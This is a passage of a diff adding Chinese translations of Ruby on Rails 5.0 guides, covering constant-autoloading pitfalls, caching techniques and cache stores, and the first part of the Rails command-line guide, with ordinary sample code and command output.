  2. +
  3. 如果 require 先执行了,Rails 不会把 User 标记为自动加载的常量,因此 app/models/user.rb 文件中的改动不会重新加载。

  4. +
+

我们应该始终遵守规则,使用常量自动加载机制,一定不能混用自动加载和 require。底线是,如果一定要加载特定的文件,使用 require_dependency,这样能正确利用常量自动加载机制。不过,实际上很少需要这么做。

当然,在自动加载的文件中使用 require 加载第三方库没问题,Rails 会做区分,不把第三方库里的常量标记为自动加载的。

10.4 自动加载和初始化脚本

假设 config/initializers/set_auth_service.rb 文件中有下述赋值语句:

+
+AUTH_SERVICE = if Rails.env.production?
+  RealAuthService
+else
+  MockedAuthService
+end
+
+
+
+

这么做的目的是根据所在环境为 AUTH_SERVICE 赋予不同的值。在开发环境中,运行这个初始化脚本时,自动加载 MockedAuthService。假如我们发送了几个请求,修改了实现,然后再次运行应用,奇怪的是,改动没有生效。这是为什么呢?

从前文得知,Rails 会删除自动加载的常量,但是 AUTH_SERVICE 存储的还是原来那个类对象。原来那个常量不存在了,但是功能完全不受影响。

下述代码概述了这种情况:

+
+class C
+  def quack
+    'quack!'
+  end
+end
+
+X = C
+Object.instance_eval { remove_const(:C) }
+X.new.quack # => quack!
+X.name      # => C
+C           # => uninitialized constant C (NameError)
+
+
+
+

鉴于此,不建议在应用初始化过程中自动加载常量。

对上述示例来说,我们可以实现一个动态接入点:

+
+# app/models/auth_service.rb
+class AuthService
+  if Rails.env.production?
+    def self.instance
+      RealAuthService
+    end
+  else
+    def self.instance
+      MockedAuthService
+    end
+  end
+end
+
+
+
+

然后在应用中使用 AuthService.instance。这样,AuthService 会按需加载,而且能顺利自动加载。

10.5 require_dependency 和初始化脚本

前面说过,require_dependency 加载的文件能顺利自动加载。但是,一般来说不应该在初始化脚本中使用。

有人可能觉得在初始化脚本中调用 require_dependency 能确保提前加载特定的常量,例如用于解决 STI 问题

问题是,在开发环境中,如果文件系统中有相关的改动,自动加载的常量会被抹除。这样就与使用初始化脚本的初衷背道而驰了。

require_dependency 调用应该写在能自动加载的地方。

10.6 常量未缺失

10.6.1 相对引用

以一个飞行模拟器为例。应用中有个默认的飞行模型:

+
+# app/models/flight_model.rb
+class FlightModel
+end
+
+
+
+

每架飞机都可以将其覆盖,例如:

+
+# app/models/bell_x1/flight_model.rb
+module BellX1
+  class FlightModel < FlightModel
+  end
+end
+
+# app/models/bell_x1/aircraft.rb
+module BellX1
+  class Aircraft
+    def initialize
+      @flight_model = FlightModel.new
+    end
+  end
+end
+
+
+
+

初始化脚本想创建一个 BellX1::FlightModel 对象,而且嵌套中有 BellX1,看起来这没什么问题。但是,如果默认飞行模型加载了,但是 Bell-X1 模型没有,解释器能解析顶层的 FlightModel,因此 BellX1::FlightModel 不会触发自动加载机制。

这种代码取决于执行路径。

这种歧义通常可以通过限定常量解决:

+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= BellX1::FlightModel.new
+    end
+  end
+end
+
+
+
+

此外,使用 require_dependency 也能解决:

+
+require_dependency 'bell_x1/flight_model'
+
+module BellX1
+  class Plane
+    def flight_model
+      @flight_model ||= FlightModel.new
+    end
+  end
+end
+
+
+
+
10.6.2 限定引用

对下述代码来说

+
+# app/models/hotel.rb
+class Hotel
+end
+
+# app/models/image.rb
+class Image
+end
+
+# app/models/hotel/image.rb
+class Hotel
+  class Image < Image
+  end
+end
+
+
+
+

Hotel::Image 这个表达式有歧义,因为它取决于执行路径。

从前文得知,Ruby 会在 Hotel 及其祖先中查找常量。如果加载了 app/models/image.rb 文件,但是没有加载 app/models/hotel/image.rb,Ruby 在 Hotel 中找不到 Image,而在 Object 中能找到:

+
+$ bin/rails r 'Image; p Hotel::Image' 2>/dev/null
+Image # 不是 Hotel::Image!
+
+
+
+

若想得到 Hotel::Image,要确保 app/models/hotel/image.rb 文件已经加载——或许是使用 require_dependency 加载的。

不过,在这些情况下,解释器会发出提醒:

+
+warning: toplevel constant Image referenced by Hotel::Image
+
+
+
+

任何限定的类都能发现这种奇怪的常量解析行为:

+
+2.1.5 :001 > String::Array
+(irb):1: warning: toplevel constant Array referenced by String::Array
+ => Array
+
+
+
+

为了发现这种问题,限定命名空间必须是类。Object 不是模块的祖先。

10.7 单例类中的自动加载

假如有下述类定义:

+
+# app/models/hotel/services.rb
+module Hotel
+  class Services
+  end
+end
+
+# app/models/hotel/geo_location.rb
+module Hotel
+  class GeoLocation
+    class << self
+      Services
+    end
+  end
+end
+
+
+
+

如果加载 app/models/hotel/geo_location.rb 文件时 Hotel::Services 是已知的,Services 由 Ruby 解析,因为打开 Hotel::GeoLocation 的单例类时,Hotel 在嵌套中。

但是,如果 Hotel::Services 是未知的,Rails 无法自动加载它,应用会抛出 NameError 异常。

这是因为单例类(匿名的)会触发自动加载,从前文得知,在这种边缘情况下,Rails 只检查顶层命名空间。

这个问题的简单解决方案是使用限定常量:

+
+module Hotel
+  class GeoLocation
+    class << self
+      Hotel::Services
+    end
+  end
+end
+
+
+
+

10.8 BasicObject 中的自动加载

BasicObject 的直接子代的祖先中没有 Object,因此无法解析顶层常量:

+
+class C < BasicObject
+  String # NameError: uninitialized constant C::String
+end
+
+
+
+

如果涉及自动加载,情况稍微复杂一些。对下述代码来说

+
+class C < BasicObject
+  def user
+    User # 错误
+  end
+end
+
+
+
+

因为 Rails 会检查顶层命名空间,所以第一次调用 user 方法时,User 能自动加载。但是,如果 User 是已知的,尤其是第二次调用 user 方法时,情况就不同了:

+
+c = C.new
+c.user # 奇怪的是能正常运行,返回 User
+c.user # NameError: uninitialized constant C::User
+
+
+
+

因为此时发现父级命名空间中已经有那个常量了(参见 限定引用)。

在纯 Ruby 代码中,在 BasicObject 的直接子代的定义体中应该始终使用绝对常量路径:

+
+class C < BasicObject
+  ::String # 正确
+
+  def user
+    ::User # 正确
+  end
+end
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/caching_with_rails.html b/v5.0/caching_with_rails.html new file mode 100644 index 0000000..36b766f --- /dev/null +++ b/v5.0/caching_with_rails.html @@ -0,0 +1,576 @@ + + + + + + + +Rails 缓存概览 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 缓存概览

本文简述如何使用缓存提升 Rails 应用的速度。

缓存是指存储请求-响应循环中生成的内容,在类似请求的响应中复用。

通常,缓存是提升应用性能最有效的方式。通过缓存,在单个服务器中使用单个数据库的网站可以承受数千个用户并发访问。

Rails 自带了一些缓存功能。本文说明它们的适用范围和作用。掌握这些技术之后,你的 Rails 应用能承受大量访问,而不必花大量时间生成响应,或者支付高昂的服务器账单。

读完本文后,您将学到:

+
    +
  • 片段缓存和俄罗斯套娃缓存;

  • +
  • 如何管理缓存依赖;

  • +
  • 不同的缓存存储器;

  • +
  • 对条件 GET 请求的支持。

  • +
+ + + + +
+
+ +
+
+
+

1 基本缓存

本节简介三种缓存技术:页面缓存(page caching)、动作缓存(action caching)和片段缓存(fragment caching)。Rails 默认提供了片段缓存。如果想使用页面缓存或动作缓存,要把 actionpack-page_cachingactionpack-action_caching 添加到 Gemfile 中。

默认情况下,缓存只在生产环境启用。如果想在本地启用缓存,要在相应的 config/environments/*.rb 文件中把 config.action_controller.perform_caching 设为 true

+
+config.action_controller.perform_caching = true
+
+
+
+

修改 config.action_controller.perform_caching 的值只对 Action Controller 组件提供的缓存有影响。例如,对低层缓存没影响,下文详述

1.1 页面缓存

页面缓存时 Rails 提供的一种缓存机制,让 Web 服务器(如 Apache 和 NGINX)直接伺服生成的页面,而不经由 Rails 栈处理。虽然这种缓存的速度超快,但是不适用于所有情况(例如需要验证身份的页面)。此外,因为 Web 服务器直接从文件系统中伺服文件,所以你要自行实现缓存失效机制。

Rails 4 删除了页面缓存。参见 actionpack-page_caching gem

1.2 动作缓存

有前置过滤器的动作不能使用页面缓存,例如需要验证身份的页面。此时,应该使用动作缓存。动作缓存的工作原理与页面缓存类似,不过入站请求会经过 Rails 栈处理,以便运行前置过滤器,然后再伺服缓存。这样,可以做身份验证和其他限制,同时还能从缓存的副本中伺服结果。

Rails 4 删除了动作缓存。参见 actionpack-action_caching gem。最新推荐的做法参见 DHH 写的“How key-based cache expiration works”一文。

1.3 片段缓存

动态 Web 应用一般使用不同的组件构建页面,不是所有组件都能使用同一种缓存机制。如果页面的不同部分需要使用不同的缓存机制,在不同的条件下失效,可以使用片段缓存。

片段缓存把视图逻辑的一部分放在 cache 块中,下次请求使用缓存存储器中的副本伺服。

例如,如果想缓存页面中的各个商品,可以使用下述代码:

+
+<% @products.each do |product| %>
+  <% cache product do %>
+    <%= render product %>
+  <% end %>
+<% end %>
+
+
+
+

首次访问这个页面时,Rails 会创建一个具有唯一键的缓存条目。缓存键类似下面这种:

+
+views/products/1-201505056193031061005000/bea67108094918eeba42cd4a6e786901
+
+
+
+

中间的数字是 product_id 加上商品记录的 updated_at 属性中存储的时间戳。Rails 使用时间戳确保不伺服过期的数据。如果 updated_at 的值变了,Rails 会生成一个新键,然后在那个键上写入一个新缓存,旧键上的旧缓存不再使用。这叫基于键的失效方式。

视图片段有变化时(例如视图的 HTML 有变),缓存的片段也失效。缓存键末尾那个字符串是模板树摘要,是基于缓存的视图片段的内容计算的 MD5 哈希值。如果视图片段有变化,MD5 哈希值就变了,因此现有文件失效。

Memcached 等缓存存储器会自动删除旧的缓存文件。

如果想在特定条件下缓存一个片段,可以使用 cache_ifcache_unless

+
+<% cache_if admin?, product do %>
+  <%= render product %>
+<% end %>
+
+
+
+
1.3.1 集合缓存

render 辅助方法还能缓存渲染集合的单个模板。这甚至比使用 each 的前述示例更好,因为是一次性读取所有缓存模板的,而不是一次读取一个。若想缓存集合,渲染集合时传入 cached: true 选项:

+
+<%= render partial: 'products/product', collection: @products, cached: true %>
+
+
+
+

上述代码中所有的缓存模板一次性获取,速度更快。此外,尚未缓存的模板也会写入缓存,在下次渲染时获取。

1.4 俄罗斯套娃缓存

有时,可能想把缓存的片段嵌套在其他缓存的片段里。这叫俄罗斯套娃缓存(Russian doll caching)。

俄罗斯套娃缓存的优点是,更新单个商品后,重新生成外层片段时,其他内存片段可以复用。

前一节说过,如果缓存的文件对应的记录的 updated_at 属性值变了,缓存的文件失效。但是,内层嵌套的片段不失效。

对下面的视图来说:

+
+<% cache product do %>
+  <%= render product.games %>
+<% end %>
+
+
+
+

而它渲染这个视图:

+
+<% cache game do %>
+  <%= render game %>
+<% end %>
+
+
+
+

如果游戏的任何一个属性变了,updated_at 的值会设为当前时间,因此缓存失效。然而,商品对象的 updated_at 属性不变,因此它的缓存不失效,从而导致应用伺服过期的数据。为了解决这个问题,可以使用 touch 方法把模型绑在一起:

+
+class Product < ApplicationRecord
+  has_many :games
+end
+
+class Game < ApplicationRecord
+  belongs_to :product, touch: true
+end
+
+
+
+

touch 设为 true 后,导致游戏的 updated_at 变化的操作,也会修改关联的商品的 updated_at 属性,从而让缓存失效。

1.5 管理依赖

为了正确地让缓存失效,要正确地定义缓存依赖。Rails 足够智能,能处理常见的情况,无需自己指定。但是有时需要处理自定义的辅助方法(以此为例),因此要自行定义。

1.5.1 隐式依赖

多数模板依赖可以从模板中的 render 调用中推导出来。下面举例说明 ActionView::Digestor 知道如何解码的 render 调用:

+
+render partial: "comments/comment", collection: commentable.comments
+render "comments/comments"
+render 'comments/comments'
+render('comments/comments')
+
+render "header" => render("comments/header")
+
+render(@topic)         => render("topics/topic")
+render(topics)         => render("topics/topic")
+render(message.topics) => render("topics/topic")
+
+
+
+

而另一方面,有些调用要做修改方能让缓存正确工作。例如,如果传入自定义的集合,要把下述代码:

+
+render @project.documents.where(published: true)
+
+
+
+

改为:

+
+render partial: "documents/document", collection: @project.documents.where(published: true)
+
+
+
+
1.5.2 显式依赖

有时,模板依赖推导不出来。在辅助方法中渲染时经常是这样。下面举个例子:

+
+<%= render_sortable_todolists @project.todolists %>
+
+
+
+

此时,要使用一种特殊的注释格式:

+
+<%# Template Dependency: todolists/todolist %>
+<%= render_sortable_todolists @project.todolists %>
+
+
+
+

某些情况下,例如设置单表继承,可能要显式定义一堆依赖。此时无需写出每个模板,可以使用通配符匹配一个目录中的全部模板:

+
+<%# Template Dependency: events/* %>
+<%= render_categorizable_events @person.events %>
+
+
+
+

对集合缓存来说,如果局部模板不是以干净的缓存调用开头,依然可以使用集合缓存,不过要在模板中的任意位置添加一种格式特殊的注释,如下所示:

+
+<%# Template Collection: notification %>
+<% my_helper_that_calls_cache(some_arg, notification) do %>
+  <%= notification.name %>
+<% end %>
+
+
+
+
1.5.3 外部依赖

如果在缓存的块中使用辅助方法,而后更新了辅助方法,还要更新缓存。具体方法不限,只要能改变模板文件的 MD5 值就行。推荐的方法之一是添加一个注释,如下所示:

+
+<%# Helper Dependency Updated: Jul 28, 2015 at 7pm %>
+<%= some_helper_method(person) %>
+
+
+
+

1.6 低层缓存

有时需要缓存特定的值或查询结果,而不是缓存视图片段。Rails 的缓存机制能存储任何类型的信息。

实现低层缓存最有效的方式是使用 Rails.cache.fetch 方法。这个方法既能读取也能写入缓存。传入单个参数时,获取指定的键,返回缓存中的值。传入块时,在指定键上缓存块的结果,并返回结果。

下面举个例子。应用中有个 Product 模型,它有个实例方法,在竞争网站中查找商品的价格。这个方法返回的数据特别适合使用低层缓存:

+
+class Product < ApplicationRecord
+  def competing_price
+    Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do
+      Competitor::API.find_price(id)
+    end
+  end
+end
+
+
+
+

注意,这个示例使用了 cache_key 方法,因此得到的缓存键类似这种:products/233-20140225082222765838000/competing_pricecache_key 方法根据模型的 idupdated_at 属性生成一个字符串。这是常见的约定,有个好处是,商品更新后缓存自动失效。一般来说,使用低层缓存缓存实例层信息时,需要生成缓存键。

1.7 SQL 缓存

查询缓存是 Rails 提供的一个功能,把各个查询的结果集缓存起来。如果在同一个请求中遇到了相同的查询,Rails 会使用缓存的结果集,而不再次到数据库中运行查询。

例如:

+
+class ProductsController < ApplicationController
+
+  def index
+    # 运行查找查询
+    @products = Product.all
+
+    ...
+
+    # 再次运行相同的查询
+    @products = Product.all
+  end
+
+end
+
+
+
+

再次运行相同的查询时,根本不会发给数据库。首次运行查询得到的结果存储在查询缓存中(内存里),第二次查询从内存中获取。

然而要知道,查询缓存在动作开头创建,到动作末尾销毁,只在动作的存续时间内存在。如果想持久化存储查询结果,使用低层缓存也能实现。

2 缓存存储器

Rails 为存储缓存数据(SQL 缓存和页面缓存除外)提供了不同的存储器。

2.1 配置

config.cache_store 配置选项用于设定应用的默认缓存存储器。可以设定其他参数,传给缓存存储器的构造方法:

+
+config.cache_store = :memory_store, { size: 64.megabytes }
+
+
+
+

此外,还可以在配置块外部调用 ActionController::Base.cache_store

缓存存储器通过 Rails.cache 访问。

2.2 ActiveSupport::Cache::Store +

这个类是在 Rails 中与缓存交互的基础。这是个抽象类,不能直接使用。你必须根据存储器引擎具体实现这个类。Rails 提供了几个实现,说明如下。

主要调用的方法有 readwritedeleteexist?fetchfetch 方法接受一个块,返回缓存中现有的值,或者把新值写入缓存。

所有缓存实现有些共用的选项,可以传给构造方法,或者传给与缓存条目交互的各个方法。

+
    +
  • :namespace:在缓存存储器中创建命名空间。如果与其他应用共用同一个缓存存储器,这个选项特别有用。

  • +
  • :compress:指定压缩缓存。通过缓慢的网络传输大量缓存时用得着。

  • +
  • :compress_threshold:与 :compress 选项搭配使用,指定一个阈值,未达到时不压缩缓存。默认为 16 千字节。

  • +
  • :expires_in:为缓存条目设定失效时间(秒数),失效后自动从缓存中删除。

  • +
  • :race_condition_ttl:与 :expires_in 选项搭配使用。避免多个进程同时重新生成相同的缓存条目(也叫 dog pile effect),防止让缓存条目过期时出现条件竞争。这个选项设定在重新生成新值时失效的条目还可以继续使用多久(秒数)。如果使用 :expires_in 选项, 最好也设定这个选项。

  • +
+
2.2.1 自定义缓存存储器

缓存存储器可以自己定义,只需扩展 ActiveSupport::Cache::Store 类,实现相应的方法。这样,你可以把任何缓存技术带到你的 Rails 应用中。

若想使用自定义的缓存存储器,只需把 cache_store 设为自定义类的实例:

+
+config.cache_store = MyCacheStore.new
+
+
+
+

2.3 ActiveSupport::Cache::MemoryStore +

这个缓存存储器把缓存条目放在内存中,与 Ruby 进程放在一起。可以把 :size 选项传给构造方法,指定缓存的大小限制(默认为 32Mb)。超过分配的大小后,会清理缓存,把最不常用的条目删除。

+
+config.cache_store = :memory_store, { size: 64.megabytes }
+
+
+
+

如果运行多个 Ruby on Rails 服务器进程(例如使用 mongrel_cluster 或 Phusion Passenger),各个实例之间无法共享缓存数据。这个缓存存储器不适合大型应用使用。不过,适合只有几个服务器进程的低流量小型应用使用,也适合在开发环境和测试环境中使用。

2.4 ActiveSupport::Cache::FileStore +

这个缓存存储器使用文件系统存储缓存条目。初始化这个存储器时,必须指定存储文件的目录:

+
+config.cache_store = :file_store, "/path/to/cache/directory"
+
+
+
+

使用这个缓存存储器时,在同一台主机中运行的多个服务器进程可以共享缓存。这个缓存存储器适合一到两个主机的中低流量网站使用。运行在不同主机中的多个服务器进程若想共享缓存,可以使用共享的文件系统,但是不建议这么做。

缓存量一直增加,直到填满磁盘,所以建议你定期清理旧缓存条目。

这是默认的缓存存储器。

2.5 ActiveSupport::Cache::MemCacheStore +

这个缓存存储器使用 Danga 的 memcached 服务器为应用提供中心化缓存。Rails 默认使用自带的 dalli gem。这是生产环境的网站目前最常使用的缓存存储器。通过它可以实现单个共享的缓存集群,效率很高,有较好的冗余。

初始化这个缓存存储器时,要指定集群中所有 memcached 服务器的地址。如果不指定,假定 memcached 运行在本地的默认端口上,但是对大型网站来说,这样做并不好。

这个缓存存储器的 writefetch 方法接受两个额外的选项,以便利用 memcached 的独有特性。指定 :raw 时,直接把值发给服务器,不做序列化。值必须是字符串或数字。memcached 的直接操作,如 incrementdecrement,只能用于原始值。还可以指定 :unless_exist 选项,不让 memcached 覆盖现有条目。

+
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+
+
+
+

2.6 ActiveSupport::Cache::NullStore +

这个缓存存储器只应该在开发或测试环境中使用,它并不存储任何信息。在开发环境中,如果代码直接与 Rails.cache 交互,但是缓存可能对代码的结果有影响,可以使用这个缓存存储器。在这个缓存存储器上调用 fetchread 方法不返回任何值。

+
+config.cache_store = :null_store
+
+
+
+

3 缓存键

缓存中使用的键可以是能响应 cache_keyto_param 方法的任何对象。如果想定制生成键的方式,可以覆盖 cache_key 方法。Active Record 根据类名和记录 ID 生成缓存键。

缓存键的值可以是散列或数组:

+
+# 这是一个有效的缓存键
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+
+
+
+

Rails.cache 使用的键与存储引擎使用的并不相同,存储引擎使用的键可能含有命名空间,或者根据后端的限制做调整。这意味着,使用 Rails.cache 存储值时使用的键可能无法用于供 dalli gem 获取缓存条目。然而,你也无需担心会超出 memcached 的大小限制,或者违背句法规则。

4 对条件 GET 请求的支持

条件 GET 请求是 HTTP 规范的一个特性,以此告诉 Web 浏览器,GET 请求的响应自上次请求之后没有变化,可以放心从浏览器的缓存中读取。

为此,要传递 HTTP_IF_NONE_MATCHHTTP_IF_MODIFIED_SINCE 首部,其值分别为唯一的内容标识符和上一次改动时的时间戳。浏览器发送的请求,如果内容标识符(etag)或上一次修改的时间戳与服务器中的版本匹配,那么服务器只需返回一个空响应,把状态设为未修改。

服务器(也就是我们自己)要负责查看最后修改时间戳和 HTTP_IF_NONE_MATCH 首部,判断要不要返回完整的响应。既然 Rails 支持条件 GET 请求,那么这个任务就非常简单:

+
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # 如果根据指定的时间戳和 etag 值判断请求的内容过期了
+    # (即需要重新处理)执行这个块
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+      respond_to do |wants|
+        # ... 正常处理响应
+      end
+    end
+
+    # 如果请求的内容还新鲜(即未修改),无需做任何事
+    # render 默认使用前面 stale? 中的参数做检查,会自动发送 :not_modified 响应
+    # 就这样,工作结束
+  end
+end
+
+
+
+

除了散列,还可以传入模型。Rails 会使用 updated_atcache_key 方法设定 last_modifiedetag

+
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+
+    if stale?(@product)
+      respond_to do |wants|
+        # ... 正常处理响应
+      end
+    end
+  end
+end
+
+
+
+

如果无需特殊处理响应,而且使用默认的渲染机制(即不使用 respond_to,或者不自己调用 render),可以使用 fresh_when 简化这个过程:

+
+class ProductsController < ApplicationController
+
+  # 如果请求的内容是新鲜的,自动返回 :not_modified
+  # 否则渲染默认的模板(product.*)
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, etag: @product
+  end
+end
+
+
+
+

4.1 强 Etag 与弱 Etag

Rails 默认生成弱 ETag。这种 Etag 允许语义等效但主体不完全匹配的响应具有相同的 Etag。如果响应主体有微小改动,而不想重新渲染页面,可以使用这种 Etag。

为了与强 Etag 区别,弱 Etag 前面有 W/

+
+W/"618bbc92e2d35ea1945008b42799b0e7" => 弱 ETag
+"618bbc92e2d35ea1945008b42799b0e7"   => 强 ETag
+
+
+
+

与弱 Etag 不同,强 Etag 要求响应完全一样,不能有一个字节的差异。在大型视频或 PDF 文件内部做 Range 查询时用得到。有些 CDN,如 Akamai,只支持强 Etag。如果确实想生成强 Etag,可以这么做:

+
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, strong_etag: @product
+  end
+end
+
+
+
+

也可以直接在响应上设定强 Etag:

+
+response.strong_etag = response.body
+# => "618bbc92e2d35ea1945008b42799b0e7"
+
+
+
+

5 参考资源

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/command_line.html b/v5.0/command_line.html new file mode 100644 index 0000000..4da5ce5 --- /dev/null +++ b/v5.0/command_line.html @@ -0,0 +1,798 @@ + + + + + + + +Rails 命令行 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 命令行

读完本文后,您将学到:

+
    +
  • 如何新建 Rails 应用;

  • +
  • 如何生成模型、控制器、数据库迁移和单元测试;

  • +
  • 如何启动开发服务器;

  • +
  • 如果在交互式 shell 中测试对象;

  • +
+

阅读本文前请阅读Rails 入门,掌握一些 Rails 基础知识。

+ + + +
+
+ +
+
+
+

1 命令行基础

有些命令在 Rails 开发过程中经常会用到,下面按照使用频率倒序列出:

+
    +
  • rails console

  • +
  • rails server

  • +
  • bin/rails

  • +
  • rails generate

  • +
  • rails dbconsole

  • +
  • rails new app_name

  • +
+

这些命令都可指定 -h--help 选项列出更多信息。

下面我们新建一个 Rails 应用,通过它介绍各个命令的用法。

1.1 rails new +

安装 Rails 后首先要做的就是使用 rails new 命令新建 Rails 应用。

如果还没安装 Rails ,可以执行 gem install rails 命令安装。

+
+$ rails new commandsapp
+     create
+     create  README.md
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+
+
+
+

这个简单的命令会生成很多文件,组成一个完整的 Rails 应用目录结构,直接就可运行。

1.2 rails server +

rails server 命令用于启动 Rails 自带的 Puma Web 服务器。若想在浏览器中访问应用,就要执行这个命令。

无需其他操作,执行 rails server 命令后就能运行刚才创建的 Rails 应用:

+
+$ cd commandsapp
+$ bin/rails server
+=> Booting Puma
+=> Rails 5.0.0 application starting in development on http://0.0.0.0:3000
+=> Run `rails server -h` for more startup options
+Puma starting in single mode...
+* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas
+* Min threads: 5, max threads: 5
+* Environment: development
+* Listening on tcp://localhost:3000
+Use Ctrl-C to stop
+
+
+
+

只执行了三个命令,我们就启动了一个 Rails 服务器,监听着 3000 端口。打开浏览器,访问 http://localhost:3000,你会看到一个简单的 Rails 应用。

启动服务器的命令还可使用别名“s”:rails s

如果想让服务器监听其他端口,可通过 -p 选项指定。所处的环境(默认为开发环境)可由 -e 选项指定。

+
+$ bin/rails server -e production -p 4000
+
+
+
+

-b 选项把 Rails 绑定到指定的 IP(默认为 localhost)。指定 -d 选项后,服务器会以守护进程的形式运行。

1.3 rails generate +

rails generate 目录使用模板生成很多东西。单独执行 rails generate 命令,会列出可用的生成器:

还可使用别名“g”执行生成器命令:rails g

+
+$ bin/rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+
+
+
+

使用其他生成器 gem 可以安装更多的生成器,或者使用插件中提供的生成器,甚至还可以自己编写生成器。

使用生成器可以节省大量编写样板代码(即应用运行必须的代码)的时间。

下面我们使用控制器生成器生成一个控制器。不过,应该使用哪个命令呢?我们问一下生成器:

所有 Rails 命令都有帮助信息。和其他 *nix 命令一样,可以在命令后加上 --help-h 选项,例如 rails server --help

+
+$ bin/rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCards open debit credit close`
+
+    Credit card controller with URLs like /credit_cards/debit.
+        Controller: app/controllers/credit_cards_controller.rb
+        Test:       test/controllers/credit_cards_controller_test.rb
+        Views:      app/views/credit_cards/debit.html.erb [...]
+        Helper:     app/helpers/credit_cards_helper.rb
+
+
+
+

控制器生成器接受的参数形式是 generate controller ControllerName action1 action2。下面我们来生成 Greetings 控制器,包含一个动作 hello,通过它跟读者打个招呼。

+
+$ bin/rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/controllers/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.scss
+
+
+
+

这个命令生成了什么呢?它在应用中创建了一堆目录,还有控制器文件、视图文件、功能测试文件、视图辅助方法文件、JavaScript 文件和样式表文件。

打开控制器文件(app/controllers/greetings_controller.rb),做些改动:

+
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+
+
+
+

然后修改视图文件(app/views/greetings/hello.html.erb),显示消息:

+
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+
+
+
+

执行 rails server 命令启动服务器:

+
+$ bin/rails server
+=> Booting Puma...
+
+
+
+

要查看的 URL 是 http://localhost:3000/greetings/hello

在常规的 Rails 应用中,URL 的格式是 http://(host)/(controller)/(action),访问 http://(host)/(controller) 这样的 URL 会进入控制器的 index 动作。

Rails 也为数据模型提供了生成器。

+
+$ bin/rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+Active Record options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+
+
+
+

全部可用的字段类型,请查看 TableDefinition 类的 API 文档

不过我们暂且不直接生成模型(后文再生成),先来使用脚手架(scaffold)。Rails 中的脚手架会生成资源所需的全部文件,包括模型、模型所用的迁移、处理模型的控制器、查看数据的视图,以及各部分的测试组件。

我们要创建一个名为“HighScore”的资源,记录视频游戏的最高得分。

+
+$ bin/rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20130717151933_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/models/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+    invoke  resource_route
+     route    resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/controllers/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke    jbuilder
+    create      app/views/high_scores/index.json.jbuilder
+    create      app/views/high_scores/show.json.jbuilder
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.scss
+    invoke  scss
+   identical    app/assets/stylesheets/scaffolds.scss
+
+
+
+

